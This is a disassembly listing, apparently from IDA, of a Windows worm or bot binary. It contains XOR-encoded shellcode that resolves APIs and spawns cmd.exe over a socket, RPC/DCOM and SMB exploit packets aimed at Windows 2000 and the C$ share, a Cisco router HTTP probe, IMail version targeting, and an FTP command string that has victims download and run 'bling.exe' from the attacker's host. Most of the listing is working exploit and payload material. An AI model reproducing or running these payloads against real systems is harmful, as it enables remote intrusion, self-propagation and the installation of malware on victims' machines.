dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh ; DATA XREF: sub_40A146+1CEo dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 69024602h dd 69026E02h, 68027302h, 64026502h, 3746120h, 73252032h dd 2064253Ah, 61023403h, 65746602h, 20320372h, 3206425h dd 26D0234h, 74756E69h, 29732865h, 20666F20h, 63025302h dd 696E6E61h, 2E676Eh dword_444A94 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F531Fh ; DATA XREF: sub_40A3A5+92o dd 2610263h, 3003026Eh, 31032C32h, 32033A35h, 2490220h dd 33A0250h, 73252034h, 2320320h, 26F0250h, 3A740272h dd 25203403h, 32032064h, 2207369h, 6570024Fh, 2E6Eh dword_444AE4 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F531Fh ; DATA XREF: sub_40A472+41o dd 2610263h, 3003026Eh, 31032C32h, 32033A35h, 2530220h dd 6E026163h, 6E696E02h, 49022067h, 3A025002h, 25203403h dd 32032073h, 6F025002h, 74027202h, 2034033Ah, 2E6425h dword_444B34 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 6F1F501Fh ; DATA XREF: seg000:0040A5A4o dd 2747202h, 21F531Fh, 2610263h, 3003026Eh, 31032C32h dd 32033A35h, 2530220h, 6E026163h, 6E696E02h, 49022067h dd 3A025002h, 25203403h, 3202C73h, 2500232h, 272026Fh dd 34033A74h, 2E642520h, 0 dword_444B90 dd 35310302h, 25B302Ch, 91343003h, 2323003h, 6F1F501Fh ; DATA XREF: seg000:0040A634o dd 2747202h, 21F531Fh, 2610263h, 3003026Eh, 31032C34h dd 34033A35h, 2460220h, 73696E69h, 20646568h, 63025302h dd 26E0261h, 676E696Eh, 2490220h, 33A0250h, 73252032h dd 2Eh dword_444BE4 dd 63736963h, 0D6Fhdword_444BEC dd 61500A0Dh, 7373haUserAccessVeri db 0Dh,0Ah ; DATA XREF: seg000:0040A75Fo db 0Dh,0Ah db 'User Access Verification',0Dh,0Ah db 0Dh,0Ah db 'Password',0 align 10h unk_444C20 db 2 ; DATA XREF: seg000:0040A784o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 69h, 1Fh db 73h ; s db 1Fh, 63h, 6Fh db 3 db 31h, 35h, 28h db 3 db 34h, 2, 54h db 2 db 65h, 6Ch, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 74h, 3, 31h db 35h ; 5 db 29h, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aFoundRouterS db ' found router: %s',0 align 4 aGetLevel16Exec db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: seg000:0040A853o db 0Ah,0 align 4 aGetLevel16Ex_0 db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: seg000:0040A85Fo db 0Ah,0 align 4 aHttp1_0200Ok db 'HTTP/1.0 200 OK',0 ; DATA XREF: seg000:0040A8B9o aCisco db 'cisco',0 ; DATA XREF: seg000:0040A8D4o align 4 unk_444CD4 db 2 ; DATA XREF: seg000:0040A8F8o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 69h, 1Fh db 73h ; s db 1Fh, 63h, 6Fh db 3 db 31h, 35h, 28h db 3 db 34h, 2, 48h db 2 db 2 dup(74h), 70h db 1Fh db 3, 31h, 35h db 29h ; ) db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFoundRouterS_0 db 'found router: %s',0 align 4 dword_444D1C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; seg000:0040AF2Co dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_444D68 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40AAF6+EBo dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4450CC dd 20h, 0 dd 20h, 5C005Ch, 0 off_4450E0 dd offset loc_43005B+1 ; DATA XREF: sub_40AAF6+125o a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dword_445120 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_40AAF6+18o ; sub_40AAF6+59o unicode 0, <FXNBFXFXNBFXFXFXFX> dw 0FFFFh dw 0FFFFh db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh dd 0 aRrrrrrrrrrrr_0 db '' db '' db '',0 dword_445230 dd 10016C6h ; --------------------------------------------------------------------------- loc_445234: ; DATA XREF: sub_40AAF6+C3o popf adc eax, [eax] loc_445237: ; DATA XREF: sub_40AAF6+37o add [ecx], esi leave sub ecx, 0FFFFFFB0h fldz fnstenv byte ptr [esp-0Ch] pop ebx loc_445244: ; CODE XREF: seg002:0044524Ej xor dword ptr [ebx+13h], 13778D2Bh sub ebx, 0FFFFFFFCh loop loc_445244 xlat ; --------------------------------------------------------------------------- db 0E7h, 9Ch, 5Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 74h, 88h, 0ECh dword_445258 dd 7FFCEDD4h, 56FCA90Fh, 160B0617h, 98988C53h, 4CFC9564h dd 5A9C8C0Bh, 12FCB9A0h, 8AB7BCC5h, 67B70987h, 1EBD4C2Ch dd 0E79C4F2Ah, 3B53D910h, 4CFC685Eh, 759C8C0Fh, 983C81A0h dd 0F8769174h, 9AFCA128h, 726BA947h, 77ACBCE8h, 9847CEA0h dd 63FC816Bh, 53FC2037h, 9D1FD323h, 439B8365h, 40115BD4h dd 2144E54Dh, 2104FA43h, 0C388D974h, 0EF9A4643h, 0C588DD10h dd 75920474h, 117F60AAh, 0EC75E77Eh, 1AAEE5FBh, 0EC2020DEh dd 4024DEFDh, 4034DE78h, 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh dd 9D3E5BEh, 0EC204A5Bh, 4267E7FDh, 7BA7727Eh, 0FA59208Fh dd 40A1727Ch, 7BA7727Eh, 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh dd 0F41F1EFBh, 440E4B52h, 0EC225BD4h, 771DEBFBh, 7E14E54Dh dd 431D68A2h, 9ABBA472h, 9A33E7CCh, 0E0B7BCC9h, 3E357381h dd 805BCFD5h, 0B84FF7A6h, 611F2680h, 0EC613ED5h, 0C588C95Eh dd 4225DA70h, 121DDC7Ah, 4222DC7Ah, 0BE1F5DD4h, 40B988F2h dd 0EC1D5BD4h, 0C388BAD4h, 908BDAA0h, 0C588E9EFh, 7BA77279h dd 4C7307DBh, 0ECA17278h, 13778DFBh, 0 off_445394 dd offset dword_49005C ; DATA XREF: sub_40A958+Co dd offset loc_43004F+1 dd 24h asc_4453A0: ; DATA XREF: sub_40A958+1Co unicode 0, <\\>,0 align 4 off_4453A8 dd offset dword_49005C ; DATA XREF: sub_40AA3E+Bo dd offset loc_43004F+1 dd 24h asc_4453B4: ; DATA XREF: sub_40AA3E+16o unicode 0, <\\>,0 align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: seg000:0040AD52o align 10h dword_4453D0 dd 2016280h, 100BDh, 8F160001h, 182h, 0; --------------------------------------------------------------------------- loc_4453E4: ; DATA XREF: seg000:0040B09Fo jmp short loc_44540B ; --------------------------------------------------------------------------- word_4453E6 dw 0FAE9h ; DATA XREF: seg000:0040B085o dword_4453E8 dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch ; DATA XREF: seg000:0040B095o dd 53574658h, 32335F32h, 4C4C442Eh db 1 ; --------------------------------------------------------------------------- loc_445409: ; CODE XREF: seg002:loc_44540Bp jmp short loc_445410 ; --------------------------------------------------------------------------- loc_44540B: ; CODE XREF: seg002:loc_4453E4j call loc_445409 loc_445410: ; CODE XREF: seg002:loc_445409j pop ebp sub ebp, 2Ch push 30h pop ecx mov eax, fs:[ecx] mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov edi, [eax+8] loc_445424: ; CODE XREF: seg002:004454A0j lea ebx, [edi+3Ch] mov ebx, [ebx] add ebx, edi mov ebx, [ebx+78h] add ebx, edi mov ecx, [ebx+1Ch] add ecx, edi mov edx, [ebx+24h] add edx, edi push ebx push ecx push edx mov ebx, [ebx+20h] add ebx, edi xor ecx, ecx loc_445444: ; CODE XREF: seg002:00445461j ; seg002:00445484j inc ecx xor eax, eax cdq mov esi, [ebx+ecx*4] add esi, edi loc_44544D: ; CODE XREF: seg002:00445454j lodsb xor edx, eax shl edx, 1 test al, al jnz short loc_44544D movzx eax, byte ptr [ebp+9] lea eax, [ebp+eax*2+8] cmp [eax], dx jnz short loc_445444 xor [eax], dx pop edx pop eax pop esi push esi push eax push edx sub ecx, [esi+10h] inc ecx movzx ecx, word ptr [edx+ecx*2] mov eax, [eax+ecx*4] add eax, edi movzx ecx, byte ptr [ebp+9] mov [ebp+ecx*4-28h], eax dec byte ptr [ebp+9] jnz short loc_445444 dec byte ptr [ebp+8] jz short loc_4454A2 dec byte ptr [ebp+24h] lea ebx, [ebp+1Ah] push ebx call eax mov edi, eax push 2 pop eax mov [ebp+9], al add byte ptr [ebp+79h], 0Ch jmp short loc_445424 ; --------------------------------------------------------------------------- loc_4454A2: ; CODE XREF: seg002:00445489j push eax mov eax, [ebp+4] xor eax, 93939393h mov [ebp+4], eax mov ax, [ebp+2] xor ax, 9393h mov [ebp+2], ax pop eax mov esi, ecx xor ebx, ebx push ebx push ebx push ebx push ebx push esi inc esi push esi call eax mov edi, eax push ebp pop eax mov [eax], si push 10h push ebp push edi call dword ptr [ebp-20h] lea eax, [ebp-78h] push eax call dword ptr [ebp-18h] push ebp push ebp call dword ptr [ebp-14h] lea eax, [ebp+eax+0Ch] xchg eax, esp push ebx push 6578652Eh push 646D635Ch xchg eax, esp xor edx, edx lea eax, [ebp-34h] xchg eax, esp push edi push edi push edi push ebx push ebx dec dl add edx, esi push edx xchg eax, esp lea eax, [ebp+78h] push eax lea eax, [ebp-78h] push eax mov cl, 8 push ebx push ebx push 10h dec dh push edx push ebx push ebx push ebx push ebp call dword ptr [ebp-10h] push 0FFFFFFFFh call dword ptr [ebp-1Ch] ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_445524: ; DATA XREF: seg000:0040B021o jmp short loc_445535 ; --------------------------------------------------------------------------- align 4 loc_445528: ; DATA XREF: seg000:0040B02Co push esp dec eax inc ebx dec edi push edi dec esi pop edx dec ecx dec ecx push ebx and [eax], eax loc_445534: ; DATA XREF: seg000:0040B241o popa loc_445535: ; CODE XREF: seg002:loc_445524j xor [ecx], dh and [edi+ecx*2+47h], cl dec ecx dec esi and [edx], ah add es:[eax], al ; --------------------------------------------------------------------------- dw 0 dword_445544 dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah ; DATA XREF: seg000:0040B251o dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h dd 14CFE5B3h dword_4455FC dd 7D1F1A9Fh db 86h, 72h word_445602 dw 0AE1Bh ; DATA XREF: seg000:0040B220o dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h dd 0 ; --------------------------------------------------------------------------- loc_445680: ; DATA XREF: seg000:0040B2EBo ; seg000:0040B31Do ... jmp short loc_445686 ; --------------------------------------------------------------------------- align 4 loc_445684: ; DATA XREF: seg000:0040B2FCo jmp short near ptr dword_445688 ; --------------------------------------------------------------------------- loc_445686: ; CODE XREF: seg002:loc_445680j add [eax], edx ; --------------------------------------------------------------------------- dword_445688 dd 0 dword_44568C dd 100103BBh, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 8, 1, 10h dd 0 dword_44569C dd 100102D9h, 0 dword_4456A4 dd 1001031Bh, 0 dword_4456AC dd 10010269h, 0 dword_4456B4 dd 10010296h, 0 dword_4456BC dd 100102E2h, 0 dword_4456C4 dd 100102E2h, 0 dword_4456CC dd 100102E2h, 0 dword_4456D4 dd 100102E2h, 0 dword_4456DC dd 10010302h, 0 dword_4456E4 dd 100249D4h, 0 dword_4456EC dd 1001D9BBh, 0 dword_4456F4 dd 100218E6h, 0 dword_4456FC dd 10021782h, 0 dword_445704 dd 10021A51h, 0 dword_44570C dd 10021A51h, 0 dword_445714 dd 10021A62h, 0 ; --------------------------------------------------------------------------- loc_44571C: ; DATA XREF: seg000:0040B262o jmp short loc_44572D ; --------------------------------------------------------------------------- loc_44571E: ; CODE XREF: seg002:loc_44572Dp pop ebx xor ecx, ecx sub cx, 0FFE0h loc_445725: ; CODE XREF: seg002:00445729j xor byte ptr [ebx], 55h inc ebx loop loc_445725 jmp short near ptr word_445732 ; --------------------------------------------------------------------------- loc_44572D: ; CODE XREF: seg002:loc_44571Cj call loc_44571E ; --------------------------------------------------------------------------- word_445732 dw 0BB8Ch ; CODE XREF: seg002:0044572Bj dd 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h, 0B4AAh dword_445748 dd 57222022h, 6E773065hdword_445750 dd 0A0D22h aImail db 'IMail',0 ; DATA XREF: seg000:0040B2BFo align 4 a7_04 db '7.04',0 ; DATA XREF: seg000:0040B2D9o align 4 a7_05 db '7.05',0 ; DATA XREF: seg000:loc_40B30Bo align 4 a7_06 db '7.06',0 ; DATA XREF: seg000:loc_40B335o align 4 a7_07 db '7.07',0 ; DATA XREF: seg000:0040B346o align 4 a7_10 db '7.10',0 ; DATA XREF: seg000:loc_40B370o align 4 a7_11 db '7.11',0 ; DATA XREF: seg000:0040B381o align 4 a7_12 db '7.12',0 ; DATA XREF: seg000:loc_40B3AEo align 4 a7_13 db '7.13',0 ; DATA XREF: seg000:loc_40B3DBo align 4 a7_14 db '7.14',0 ; DATA XREF: seg000:0040B3ECo align 4 a7_15 db '7.15',0 ; DATA XREF: seg000:loc_40B419o align 4 a8_00 db '8.00',0 ; DATA XREF: seg000:loc_40B446o align 4 a8_01 db '8.01',0 ; DATA XREF: seg000:loc_40B473o align 4 a8_02 db '8.02',0 ; DATA XREF: seg000:loc_40B4A0o align 4 a8_03 db '8.03',0 ; DATA XREF: seg000:loc_40B4CDo align 4 a8_04 db '8.04',0 ; DATA XREF: seg000:loc_40B4FAo align 4 a8_05 db '8.05',0 ; DATA XREF: seg000:loc_40B527o align 4 a8_10 db '8.10',0 ; DATA XREF: seg000:loc_40B554o align 4 a8_11 db '8.11',0 ; DATA XREF: seg000:loc_40B581o align 4 a8_12 db '8.12',0 ; DATA XREF: seg000:loc_40B5ABo align 4 a8_13 db '8.13',0 ; DATA XREF: seg000:loc_40B5D5o align 4 a8_14 db '8.14',0 ; DATA XREF: seg000:loc_40B5FFo align 4 a8_15 db '8.15',0 ; DATA XREF: seg000:loc_40B639o align 4 aHotfix2 db 'hotfix2',0 ; DATA XREF: seg000:loc_40B663o a4_0 db '4.0',0 ; DATA XREF: seg000:loc_40B67Fo a5_0 db '5.0',0 ; DATA XREF: seg000:0040B690o a6_0 db '6.0',0 ; DATA XREF: seg000:0040B6A1o a7_0 db '7.0',0 ; DATA XREF: seg000:0040B6B2o aImail_0 db 'IMail',0 ; DATA XREF: seg000:loc_40B6C3o align 4 aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40B7F9+42o db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0 align 4 aBling_exe db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40B7F9+85o ; --------------------------------------------------------------------------- loc_445898: ; DATA XREF: sub_40BEAB+17Eo ; sub_40BEAB+23Ao jmp short loc_4458AA ; =============== S U B R O U T I N E ======================================= sub_44589A proc far ; CODE XREF: sub_44589A:loc_4458AAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4458A2: ; CODE XREF: sub_44589A+Cj xor byte ptr [ebx+ecx], 99h loop loc_4458A2 jmp short loc_4458AF ; --------------------------------------------------------------------------- loc_4458AA: ; CODE XREF: seg002:loc_445898j call near ptr sub_44589A loc_4458AF: ; CODE XREF: sub_44589A+Ej jo short loc_445913 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445931 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h db 12h, 41h, 0F1h byte_445907 db 0E6h ; DATA XREF: sub_40BEAB+12Do ; --------------------------------------------------------------------------- cdq cdq cwde icebp wait cdq loc_44590E: ; DATA XREF: sub_40BEAB+11Do popf dec ebx adc dl, [ebp-0Dh] loc_445913: ; CODE XREF: sub_44589A:loc_4458AFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445931: ; CODE XREF: sub_44589A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_44589A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0CA91h dd 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch dd 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh dd 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h dd 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h dd 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h dd 346C9040h, 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4459D8: ; DATA XREF: sub_40B8D0+156o ; sub_40B8D0+212o jmp short loc_4459EA ; =============== S U B R O U T I N E ======================================= sub_4459DA proc near ; CODE XREF: sub_4459DA:loc_4459EAp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4459E2: ; CODE XREF: sub_4459DA+Cj xor byte ptr [edx+ecx], 99h loop loc_4459E2 jmp short loc_4459EF ; --------------------------------------------------------------------------- loc_4459EA: ; CODE XREF: seg002:loc_4459D8j call sub_4459DA loc_4459EF: ; CODE XREF: sub_4459DA+Ej jo short near ptr dword_445964+22h cwde cdq cdq retn sub_4459DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_445A88 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40B8D0+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_445B70 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: seg000:0040BD8Bo ; seg000:0040C364o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_445BFC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040BDB7o ; seg000:0040C390o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_445CA8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040BDDEo ; seg000:0040C3B7o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_445D88 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B8D0+58o ; sub_40BEAB+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_5: ; DATA XREF: sub_40B8D0+8Ao ; sub_40BEAB+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_445DEC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B8D0+2AAo ; sub_40BEAB+2CFo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_445E58 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B8D0+2D1o ; sub_40BEAB+2FAo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_445EFC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B8D0+3B0o ; sub_40BEAB+3DDo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_445F7C dd offset loc_401492+3 ; DATA XREF: sub_40B8D0+3DEo ; sub_40BEAB+40Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446010 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B8D0+306o ; sub_40BEAB+333o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_44607C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B8D0+331o ; sub_40BEAB+35Eo dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_4460F0 dd 0 ; sub_40BEAB+38Co dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 